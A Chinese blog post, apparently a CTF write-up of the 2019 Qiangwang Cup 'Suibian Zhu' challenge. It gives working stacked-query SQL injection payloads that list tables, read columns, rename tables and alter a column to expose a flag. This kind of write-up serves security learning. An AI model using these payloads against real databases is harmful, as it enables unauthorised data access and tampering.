[强网杯 2019] 随便注 1

最新推荐文章于 2024-06-27 18:00:14 发布

小*-^-*九

最新推荐文章于 2024-06-27 18:00:14 发布

阅读量141

点赞数

分类专栏：极客大挑战文章标签：服务器 sql

本文链接：https://blog.csdn.net/anyhowanywhere/article/details/127057870

版权

极客大挑战专栏收录该内容

6 篇文章 0 订阅

订阅专栏

[强网杯 2019]随便注 1

1.我们打开网页以后是这样的
在这里插入图片描述
2.跟进页面推出考察的应该是依赖注入
随便输点内容走走看

先看一下有那些表

1'; show tables;#

在这里插入图片描述
我们发现有两张表

走你

0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#

在这里插入图片描述

在这里插入图片描述
发现flag 在这个表里

到这就没思路看大佬写的思路试了一下发现可以
思路是把1919810931114514表改名为words表，把属性名flag改为id，然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他

1';rename table `words` to words2; 
rename table `1919810931114514` to `words`;
 alter table words change flag id varchar(100);
  show tables; 
  show columns from words;# 
————————————————
版权声明：本文为CSDN博主「wow小华」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/weixin_45642610/article/details/112337143